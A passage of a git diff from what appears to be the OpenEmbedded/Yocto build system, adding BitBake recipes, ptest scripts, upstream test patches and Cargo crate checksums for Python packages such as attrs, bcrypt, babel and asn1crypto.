- ${PYTHON_PN}-pbr \
- "
-
-# Satisfy setup.py 'setup_requires'
-DEPENDS += " \
- ${PYTHON_PN}-pbr-native \
- "
-
-RDEPENDS_${PN} += "\
- ${PYTHON_PN}-doctest \
- ${PYTHON_PN}-extras \
- ${PYTHON_PN}-pbr \
- ${PYTHON_PN}-six \
- "
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/python/python3-alabaster_0.7.16.bb b/meta/recipes-devtools/python/python3-alabaster_0.7.16.bb
new file mode 100644
index 0000000000..c61fce454f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-alabaster_0.7.16.bb
@@ -0,0 +1,12 @@
+SUMMARY = "Alabaster is a visually (c)lean, responsive, configurable theme for the Sphinx documentation system."
+HOMEPAGE = "https://alabaster.readthedocs.io/en/latest/"
+BUGTRACKER = "https://github.com/sphinx-doc/alabaster/issues"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=21860fdb805bf4e0bfaf94b566b747fa"
+
+SRC_URI[sha256sum] = "75a8b99c28a5dad50dd7f8ccdd447a121ddb3892da9e53d1ca5cca3106d58d65"
+
+inherit python_flit_core pypi
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-asn1crypto_1.5.1.bb b/meta/recipes-devtools/python/python3-asn1crypto_1.5.1.bb
new file mode 100644
index 0000000000..322497b09b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-asn1crypto_1.5.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "A fast, pure Python library for parsing and serializing ASN.1 structures"
+HOMEPAGE = "https://github.com/wbond/asn1crypto"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=b5cda97fbd7959ad47a952651a87051a"
+
+PYPI_PACKAGE = "asn1crypto"
+
+SRC_URI[sha256sum] = "13ae38502be632115abf8a24cbe5f4da52e3b5231990aff31123c805306ccb9c"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN}:class-target += " \
+ python3-codecs \
+ python3-crypt \
+ python3-ctypes \
+ python3-datetime \
+ python3-io \
+ python3-netclient \
+ python3-numbers \
+ python3-shell \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-async_0.6.2.bb b/meta/recipes-devtools/python/python3-async_0.6.2.bb
deleted file mode 100644
index 0da5fdecdc..0000000000
--- a/meta/recipes-devtools/python/python3-async_0.6.2.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-inherit setuptools3
-require python-async.inc
diff --git a/meta/recipes-devtools/python/python3-atomicwrites/run-ptest b/meta/recipes-devtools/python/python3-atomicwrites/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-atomicwrites/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-atomicwrites_1.4.1.bb b/meta/recipes-devtools/python/python3-atomicwrites_1.4.1.bb
new file mode 100644
index 0000000000..848f74d612
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-atomicwrites_1.4.1.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Powerful Python library for atomic file writes"
+HOMEPAGE = "https://github.com/untitaker/python-atomicwrites"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=91cc36cfafeefb7863673bcfcb1d4da4"
+
+SRC_URI[sha256sum] = "81b2c9071a49367a7f770170e5eec8cb66567cfbbc8c73d20ce5ca4a8d71cf11"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+ python3-unixadmin \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+RDEPENDS:${PN} = "python3-misc"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-attrs/0001-conftest.py-disable-deadline.patch b/meta/recipes-devtools/python/python3-attrs/0001-conftest.py-disable-deadline.patch
new file mode 100644
index 0000000000..b1e6d99916
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-attrs/0001-conftest.py-disable-deadline.patch
@@ -0,0 +1,45 @@
+From 41103f017f6a233ebb477dd1712fe82ea8f1c84c Mon Sep 17 00:00:00 2001
+From: Tim Orling <tim.orling@konsulko.com>
+Date: Thu, 29 Feb 2024 08:45:54 -0800
+Subject: [PATCH] conftest.py: disable deadline
+
+The deadline is by default 200ms, but this is intended to be useful to
+the developer and not necessarily recommended for heavily loaded CI
+systems. Avoid warnings by disabling the deadline completely.
+
+https://github.com/HypothesisWorks/hypothesis/issues/3713
+https://hypothesis.readthedocs.io/en/latest/settings.html#hypothesis.settings.deadline
+https://lists.openembedded.org/g/openembedded-core/topic/104640034#196437
+
+Fixes:
+"""
+Unreliable test timings! On an initial run, this test took 268.29ms,
+which exceeded the deadline of 200.00ms, but on a subsequent run it
+took 2.63 ms, which did not. If you expect this sort of variability in
+your test timings, consider turning deadlines off for this test by
+setting deadline=None.
+"""
+
+Upstream-Status: Submitted [https://github.com/python-attrs/attrs/pull/1252]
+
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+---
+ conftest.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/conftest.py b/conftest.py
+index 144e5f3..fdead3d 100644
+--- a/conftest.py
++++ b/conftest.py
+@@ -20,7 +20,7 @@ def _frozen(request):
+ def pytest_configure(config):
+ # HealthCheck.too_slow causes more trouble than good -- especially in CIs.
+ settings.register_profile(
+- "patience", settings(suppress_health_check=[HealthCheck.too_slow])
++ "patience", settings(suppress_health_check=[HealthCheck.too_slow], deadline=None)
+ )
+ settings.load_profile("patience")
+
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/python/python3-attrs/0001-test_funcs-skip-test_unknown-for-pytest-8.patch b/meta/recipes-devtools/python/python3-attrs/0001-test_funcs-skip-test_unknown-for-pytest-8.patch
new file mode 100644
index 0000000000..bb69c0f157
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-attrs/0001-test_funcs-skip-test_unknown-for-pytest-8.patch
@@ -0,0 +1,30 @@
+From cbe95e1aa6d95195dce13406a6f0522b2964babc Mon Sep 17 00:00:00 2001
+From: Tim Orling <tim.orling@konsulko.com>
+Date: Fri, 16 Feb 2024 07:17:19 -0800
+Subject: [PATCH] test_funcs: skip test_unknown for pytest 8
+
+https://github.com/python-attrs/attrs/issues/1233
+
+Upstream-Status: Inappropriate [Test case needs to be properly fixed upstream]
+
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+---
+ tests/test_funcs.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/test_funcs.py b/tests/test_funcs.py
+index 044aaab..0872c31 100644
+--- a/tests/test_funcs.py
++++ b/tests/test_funcs.py
+@@ -593,7 +593,7 @@ class TestAssoc:
+ for k, v in change_dict.items():
+ assert getattr(changed, k) == v
+
+- @given(simple_classes())
++ @pytest.mark.skip('Broken with pytest 8. See https://github.com/python-attrs/attrs/issues/1233')
+ def test_unknown(self, C):
+ """
+ Wanting to change an unknown attribute raises an
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/python/python3-attrs/run-ptest b/meta/recipes-devtools/python/python3-attrs/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-attrs/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-attrs_23.2.0.bb b/meta/recipes-devtools/python/python3-attrs_23.2.0.bb
new file mode 100644
index 0000000000..a638097988
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-attrs_23.2.0.bb
@@ -0,0 +1,39 @@
+SUMMARY = "Classes Without Boilerplate"
+HOMEPAGE = "http://www.attrs.org/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5e55731824cf9205cfabeab9a0600887"
+
+SRC_URI[sha256sum] = "935dc3b529c262f6cf76e50877d35a4bd3c1de194fd41f47a2b7ae8f19971f30"
+
+inherit pypi ptest python_hatchling
+
+SRC_URI += " \
+ file://0001-test_funcs-skip-test_unknown-for-pytest-8.patch \
+ file://0001-conftest.py-disable-deadline.patch \
+ file://run-ptest \
+"
+
+DEPENDS += " \
+ python3-hatch-vcs-native \
+ python3-hatch-fancy-pypi-readme-native \
+"
+
+RDEPENDS:${PN}+= " \
+ python3-compression \
+ python3-ctypes \
+ python3-crypt \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-hypothesis \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+ install ${S}/conftest.py ${D}${PTEST_PATH}/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-babel_2.14.0.bb b/meta/recipes-devtools/python/python3-babel_2.14.0.bb
new file mode 100644
index 0000000000..cd40d4222b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-babel_2.14.0.bb
@@ -0,0 +1,26 @@
+SUMMARY = "A collection of tools for internationalizing Python applications"
+HOMEPAGE = "http://babel.edgewall.org/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=0f97d9a63e91407b4c0d01efde91cfc0"
+
+SRC_URI[sha256sum] = "6919867db036398ba21eb5c7a0f6b28ab8cbc3ae7a73a44ebe34ae74a4e7d363"
+
+PYPI_PACKAGE = "Babel"
+
+inherit pypi setuptools3
+
+CLEANBROKEN = "1"
+
+RDEPENDS:${PN} += " \
+ python3-codecs \
+ python3-difflib \
+ python3-netserver \
+ python3-numbers \
+ python3-pickle \
+ python3-pytz \
+ python3-setuptools \
+ python3-shell \
+ python3-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-bcrypt-crates.inc b/meta/recipes-devtools/python/python3-bcrypt-crates.inc
new file mode 100644
index 0000000000..0e7479f0b5
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-bcrypt-crates.inc
@@ -0,0 +1,114 @@
+# Autogenerated with 'bitbake -c update_crates python3-bcrypt'
+
+# from src/_bcrypt/Cargo.lock
+SRC_URI += " \
+ crate://crates.io/autocfg/1.1.0 \
+ crate://crates.io/base64/0.21.5 \
+ crate://crates.io/bcrypt/0.15.0 \
+ crate://crates.io/bcrypt-pbkdf/0.10.0 \
+ crate://crates.io/bitflags/1.3.2 \
+ crate://crates.io/block-buffer/0.10.4 \
+ crate://crates.io/blowfish/0.9.1 \
+ crate://crates.io/byteorder/1.5.0 \
+ crate://crates.io/cfg-if/1.0.0 \
+ crate://crates.io/cipher/0.4.4 \
+ crate://crates.io/cpufeatures/0.2.11 \
+ crate://crates.io/crypto-common/0.1.6 \
+ crate://crates.io/digest/0.10.7 \
+ crate://crates.io/generic-array/0.14.7 \
+ crate://crates.io/getrandom/0.2.11 \
+ crate://crates.io/heck/0.4.1 \
+ crate://crates.io/indoc/2.0.4 \
+ crate://crates.io/inout/0.1.3 \
+ crate://crates.io/libc/0.2.151 \
+ crate://crates.io/lock_api/0.4.11 \
+ crate://crates.io/memoffset/0.9.0 \
+ crate://crates.io/once_cell/1.19.0 \
+ crate://crates.io/parking_lot/0.12.1 \
+ crate://crates.io/parking_lot_core/0.9.9 \
+ crate://crates.io/pbkdf2/0.12.2 \
+ crate://crates.io/portable-atomic/1.6.0 \
+ crate://crates.io/proc-macro2/1.0.70 \
+ crate://crates.io/pyo3/0.20.3 \
+ crate://crates.io/pyo3-build-config/0.20.3 \
+ crate://crates.io/pyo3-ffi/0.20.3 \
+ crate://crates.io/pyo3-macros/0.20.3 \
+ crate://crates.io/pyo3-macros-backend/0.20.3 \
+ crate://crates.io/quote/1.0.33 \
+ crate://crates.io/redox_syscall/0.4.1 \
+ crate://crates.io/scopeguard/1.2.0 \
+ crate://crates.io/sha2/0.10.8 \
+ crate://crates.io/smallvec/1.11.2 \
+ crate://crates.io/subtle/2.5.0 \
+ crate://crates.io/syn/2.0.41 \
+ crate://crates.io/target-lexicon/0.12.12 \
+ crate://crates.io/typenum/1.17.0 \
+ crate://crates.io/unicode-ident/1.0.12 \
+ crate://crates.io/unindent/0.2.3 \
+ crate://crates.io/version_check/0.9.4 \
+ crate://crates.io/wasi/0.11.0+wasi-snapshot-preview1 \
+ crate://crates.io/windows-targets/0.48.5 \
+ crate://crates.io/windows_aarch64_gnullvm/0.48.5 \
+ crate://crates.io/windows_aarch64_msvc/0.48.5 \
+ crate://crates.io/windows_i686_gnu/0.48.5 \
+ crate://crates.io/windows_i686_msvc/0.48.5 \
+ crate://crates.io/windows_x86_64_gnu/0.48.5 \
+ crate://crates.io/windows_x86_64_gnullvm/0.48.5 \
+ crate://crates.io/windows_x86_64_msvc/0.48.5 \
+ crate://crates.io/zeroize/1.7.0 \
+"
+
+SRC_URI[autocfg-1.1.0.sha256sum] = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
+SRC_URI[base64-0.21.5.sha256sum] = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9"
+SRC_URI[bcrypt-0.15.0.sha256sum] = "28d1c9c15093eb224f0baa400f38fcd713fc1391a6f1c389d886beef146d60a3"
+SRC_URI[bcrypt-pbkdf-0.10.0.sha256sum] = "6aeac2e1fe888769f34f05ac343bbef98b14d1ffb292ab69d4608b3abc86f2a2"
+SRC_URI[bitflags-1.3.2.sha256sum] = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
+SRC_URI[block-buffer-0.10.4.sha256sum] = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
+SRC_URI[blowfish-0.9.1.sha256sum] = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7"
+SRC_URI[byteorder-1.5.0.sha256sum] = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
+SRC_URI[cfg-if-1.0.0.sha256sum] = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+SRC_URI[cipher-0.4.4.sha256sum] = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
+SRC_URI[cpufeatures-0.2.11.sha256sum] = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0"
+SRC_URI[crypto-common-0.1.6.sha256sum] = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
+SRC_URI[digest-0.10.7.sha256sum] = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
+SRC_URI[generic-array-0.14.7.sha256sum] = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
+SRC_URI[getrandom-0.2.11.sha256sum] = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f"
+SRC_URI[heck-0.4.1.sha256sum] = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
+SRC_URI[indoc-2.0.4.sha256sum] = "1e186cfbae8084e513daff4240b4797e342f988cecda4fb6c939150f96315fd8"
+SRC_URI[inout-0.1.3.sha256sum] = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5"
+SRC_URI[libc-0.2.151.sha256sum] = "302d7ab3130588088d277783b1e2d2e10c9e9e4a16dd9050e6ec93fb3e7048f4"
+SRC_URI[lock_api-0.4.11.sha256sum] = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45"
+SRC_URI[memoffset-0.9.0.sha256sum] = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c"
+SRC_URI[once_cell-1.19.0.sha256sum] = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
+SRC_URI[parking_lot-0.12.1.sha256sum] = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
+SRC_URI[parking_lot_core-0.9.9.sha256sum] = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e"
+SRC_URI[pbkdf2-0.12.2.sha256sum] = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2"
+SRC_URI[portable-atomic-1.6.0.sha256sum] = "7170ef9988bc169ba16dd36a7fa041e5c4cbeb6a35b76d4c03daded371eae7c0"
+SRC_URI[proc-macro2-1.0.70.sha256sum] = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b"
+SRC_URI[pyo3-0.20.3.sha256sum] = "53bdbb96d49157e65d45cc287af5f32ffadd5f4761438b527b055fb0d4bb8233"
+SRC_URI[pyo3-build-config-0.20.3.sha256sum] = "deaa5745de3f5231ce10517a1f5dd97d53e5a2fd77aa6b5842292085831d48d7"
+SRC_URI[pyo3-ffi-0.20.3.sha256sum] = "62b42531d03e08d4ef1f6e85a2ed422eb678b8cd62b762e53891c05faf0d4afa"
+SRC_URI[pyo3-macros-0.20.3.sha256sum] = "7305c720fa01b8055ec95e484a6eca7a83c841267f0dd5280f0c8b8551d2c158"
+SRC_URI[pyo3-macros-backend-0.20.3.sha256sum] = "7c7e9b68bb9c3149c5b0cade5d07f953d6d125eb4337723c4ccdb665f1f96185"
+SRC_URI[quote-1.0.33.sha256sum] = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae"
+SRC_URI[redox_syscall-0.4.1.sha256sum] = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa"
+SRC_URI[scopeguard-1.2.0.sha256sum] = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
+SRC_URI[sha2-0.10.8.sha256sum] = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8"
+SRC_URI[smallvec-1.11.2.sha256sum] = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970"
+SRC_URI[subtle-2.5.0.sha256sum] = "81cdd64d312baedb58e21336b31bc043b77e01cc99033ce76ef539f78e965ebc"
+SRC_URI[syn-2.0.41.sha256sum] = "44c8b28c477cc3bf0e7966561e3460130e1255f7a1cf71931075f1c5e7a7e269"
+SRC_URI[target-lexicon-0.12.12.sha256sum] = "14c39fd04924ca3a864207c66fc2cd7d22d7c016007f9ce846cbb9326331930a"
+SRC_URI[typenum-1.17.0.sha256sum] = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825"
+SRC_URI[unicode-ident-1.0.12.sha256sum] = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
+SRC_URI[unindent-0.2.3.sha256sum] = "c7de7d73e1754487cb58364ee906a499937a0dfabd86bcb980fa99ec8c8fa2ce"
+SRC_URI[version_check-0.9.4.sha256sum] = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
+SRC_URI[wasi-0.11.0+wasi-snapshot-preview1.sha256sum] = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
+SRC_URI[windows-targets-0.48.5.sha256sum] = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
+SRC_URI[windows_aarch64_gnullvm-0.48.5.sha256sum] = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
+SRC_URI[windows_aarch64_msvc-0.48.5.sha256sum] = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
+SRC_URI[windows_i686_gnu-0.48.5.sha256sum] = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
+SRC_URI[windows_i686_msvc-0.48.5.sha256sum] = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
+SRC_URI[windows_x86_64_gnu-0.48.5.sha256sum] = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
+SRC_URI[windows_x86_64_gnullvm-0.48.5.sha256sum] = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
+SRC_URI[windows_x86_64_msvc-0.48.5.sha256sum] = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
+SRC_URI[zeroize-1.7.0.sha256sum] = "525b4ec142c6b68a2d10f01f7bbf6755599ca3f81ea53b8431b7dd348f5fdb2d"
diff --git a/meta/recipes-devtools/python/python3-bcrypt/0001-Bump-pyo3-from-0.20.0-to-0.20.3-in-src-_bcrypt-746.patch b/meta/recipes-devtools/python/python3-bcrypt/0001-Bump-pyo3-from-0.20.0-to-0.20.3-in-src-_bcrypt-746.patch
new file mode 100644
index 0000000000..3f671fcc98
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-bcrypt/0001-Bump-pyo3-from-0.20.0-to-0.20.3-in-src-_bcrypt-746.patch
@@ -0,0 +1,111 @@
+From cfdd98b3215cc12e66190a9c7f0a32c052e3c2e7 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 26 Feb 2024 18:26:30 -0800
+Subject: [PATCH] Bump pyo3 from 0.20.0 to 0.20.3 in /src/_bcrypt (#746)
+
+It fixes build on hosts without 64bit atomics
+
+Upstream-Status: Backport [https://github.com/pyca/bcrypt/commit/c2ef9350798ab59b18e8a0e04a01389858578fe0]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/_bcrypt/Cargo.lock | 22 ++++++++++++++--------
+ src/_bcrypt/Cargo.toml | 2 +-
+ 2 files changed, 15 insertions(+), 9 deletions(-)
+
+--- a/src/_bcrypt/Cargo.lock
++++ b/src/_bcrypt/Cargo.lock
+@@ -233,6 +233,12 @@ dependencies = [
+ ]
+
+ [[package]]
++name = "portable-atomic"
++version = "1.6.0"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "7170ef9988bc169ba16dd36a7fa041e5c4cbeb6a35b76d4c03daded371eae7c0"
++
++[[package]]
+ name = "proc-macro2"
+ version = "1.0.70"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+@@ -243,15 +249,16 @@ dependencies = [
+
+ [[package]]
+ name = "pyo3"
+-version = "0.20.0"
++version = "0.20.3"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "04e8453b658fe480c3e70c8ed4e3d3ec33eb74988bd186561b0cc66b85c3bc4b"
++checksum = "53bdbb96d49157e65d45cc287af5f32ffadd5f4761438b527b055fb0d4bb8233"
+ dependencies = [
+ "cfg-if",
+ "indoc",
+ "libc",
+ "memoffset",
+ "parking_lot",
++ "portable-atomic",
+ "pyo3-build-config",
+ "pyo3-ffi",
+ "pyo3-macros",
+@@ -260,9 +267,9 @@ dependencies = [
+
+ [[package]]
+ name = "pyo3-build-config"
+-version = "0.20.0"
++version = "0.20.3"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "a96fe70b176a89cff78f2fa7b3c930081e163d5379b4dcdf993e3ae29ca662e5"
++checksum = "deaa5745de3f5231ce10517a1f5dd97d53e5a2fd77aa6b5842292085831d48d7"
+ dependencies = [
+ "once_cell",
+ "target-lexicon",
+@@ -270,9 +277,9 @@ dependencies = [
+
+ [[package]]
+ name = "pyo3-ffi"
+-version = "0.20.0"
++version = "0.20.3"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "214929900fd25e6604661ed9cf349727c8920d47deff196c4e28165a6ef2a96b"
++checksum = "62b42531d03e08d4ef1f6e85a2ed422eb678b8cd62b762e53891c05faf0d4afa"
+ dependencies = [
+ "libc",
+ "pyo3-build-config",
+@@ -280,9 +287,9 @@ dependencies = [
+
+ [[package]]
+ name = "pyo3-macros"
+-version = "0.20.0"
++version = "0.20.3"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "dac53072f717aa1bfa4db832b39de8c875b7c7af4f4a6fe93cdbf9264cf8383b"
++checksum = "7305c720fa01b8055ec95e484a6eca7a83c841267f0dd5280f0c8b8551d2c158"
+ dependencies = [
+ "proc-macro2",
+ "pyo3-macros-backend",
+@@ -292,12 +299,13 @@ dependencies = [
+
+ [[package]]
+ name = "pyo3-macros-backend"
+-version = "0.20.0"
++version = "0.20.3"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "7774b5a8282bd4f25f803b1f0d945120be959a36c72e08e7cd031c792fdfd424"
++checksum = "7c7e9b68bb9c3149c5b0cade5d07f953d6d125eb4337723c4ccdb665f1f96185"
+ dependencies = [
+ "heck",
+ "proc-macro2",
++ "pyo3-build-config",
+ "quote",
+ "syn",
+ ]
+--- a/src/_bcrypt/Cargo.toml
++++ b/src/_bcrypt/Cargo.toml
+@@ -6,7 +6,7 @@ edition = "2018"
+ publish = false
+
+ [dependencies]
+-pyo3 = { version = "0.20.0", features = ["abi3"] }
++pyo3 = { version = "0.20.3", features = ["abi3"] }
+ bcrypt = "0.15"
+ bcrypt-pbkdf = "0.10.0"
+ base64 = "0.21.5"
diff --git a/meta/recipes-devtools/python/python3-bcrypt/run-ptest b/meta/recipes-devtools/python/python3-bcrypt/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-bcrypt/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-bcrypt_4.1.2.bb b/meta/recipes-devtools/python/python3-bcrypt_4.1.2.bb
new file mode 100644
index 0000000000..93fa645f33
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-bcrypt_4.1.2.bb
@@ -0,0 +1,37 @@
+SUMMARY = "Modern password hashing for your software and your servers."
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=8f7bb094c7232b058c7e9f2e431f389c"
+HOMEPAGE = "https://pypi.org/project/bcrypt/"
+
+DEPENDS += "python3-cffi-native"
+LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ptest', ' -fuse-ld=bfd', '', d)}"
+
+SRC_URI[sha256sum] = "33313a1200a3ae90b75587ceac502b048b840fc69e7f7a0905b5f87fac7a1258"
+
+inherit pypi python_setuptools3_rust ptest-cargo cargo-update-recipe-crates
+
+SRC_URI += " \
+ file://0001-Bump-pyo3-from-0.20.0-to-0.20.3-in-src-_bcrypt-746.patch \
+ file://run-ptest \
+"
+
+CARGO_SRC_DIR = "src/_bcrypt"
+
+require ${BPN}-crates.inc
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+RDEPENDS:${PN}:class-target += "\
+ python3-cffi \
+ python3-ctypes \
+ python3-shell \
+ python3-six \
+"
diff --git a/meta/recipes-devtools/python/python3-beartype_0.18.2.bb b/meta/recipes-devtools/python/python3-beartype_0.18.2.bb
new file mode 100644
index 0000000000..1b6ab6a42b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-beartype_0.18.2.bb
@@ -0,0 +1,11 @@
+SUMMARY = "Unbearably fast runtime type checking in pure Python."
+HOMEPAGE = "https://beartype.readthedocs.io"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e71f94261c1b39896cacacfeaf60560e"
+
+SRC_URI[sha256sum] = "a6fbc0be9269889312388bfec6a9ddf41bf8fe31b68bcf9c8239db35cd38f411"
+
+inherit setuptools3 pypi
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-booleanpy_4.0.bb b/meta/recipes-devtools/python/python3-booleanpy_4.0.bb
new file mode 100644
index 0000000000..41fd3d960a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-booleanpy_4.0.bb
@@ -0,0 +1,13 @@
+SUMMARY = "Define boolean algebras, create and parse boolean expressions and create custom boolean DSL"
+HOMEPAGE = "https://github.com/bastikr/boolean.py"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=d118b5feceee598ebeca76e13395c2bd"
+
+SRC_URI[sha256sum] = "17b9a181630e43dde1851d42bef546d616d5d9b4480357514597e78b203d06e4"
+
+PYPI_PACKAGE = "boolean.py"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-build_1.2.1.bb b/meta/recipes-devtools/python/python3-build_1.2.1.bb
new file mode 100644
index 0000000000..0156861201
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-build_1.2.1.bb
@@ -0,0 +1,32 @@
+SUMMARY = "A simple, correct PEP517 package builder"
+HOMEPAGE = "https://github.com/pypa/build"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=310439af287b0fb4780b2ad6907c256c"
+
+SRC_URI[sha256sum] = "526263f4870c26f26c433545579475377b2b7588b6f1eac76a001e873ae3e19d"
+
+inherit pypi python_flit_core
+
+DEPENDS += "python3-pyproject-hooks-native"
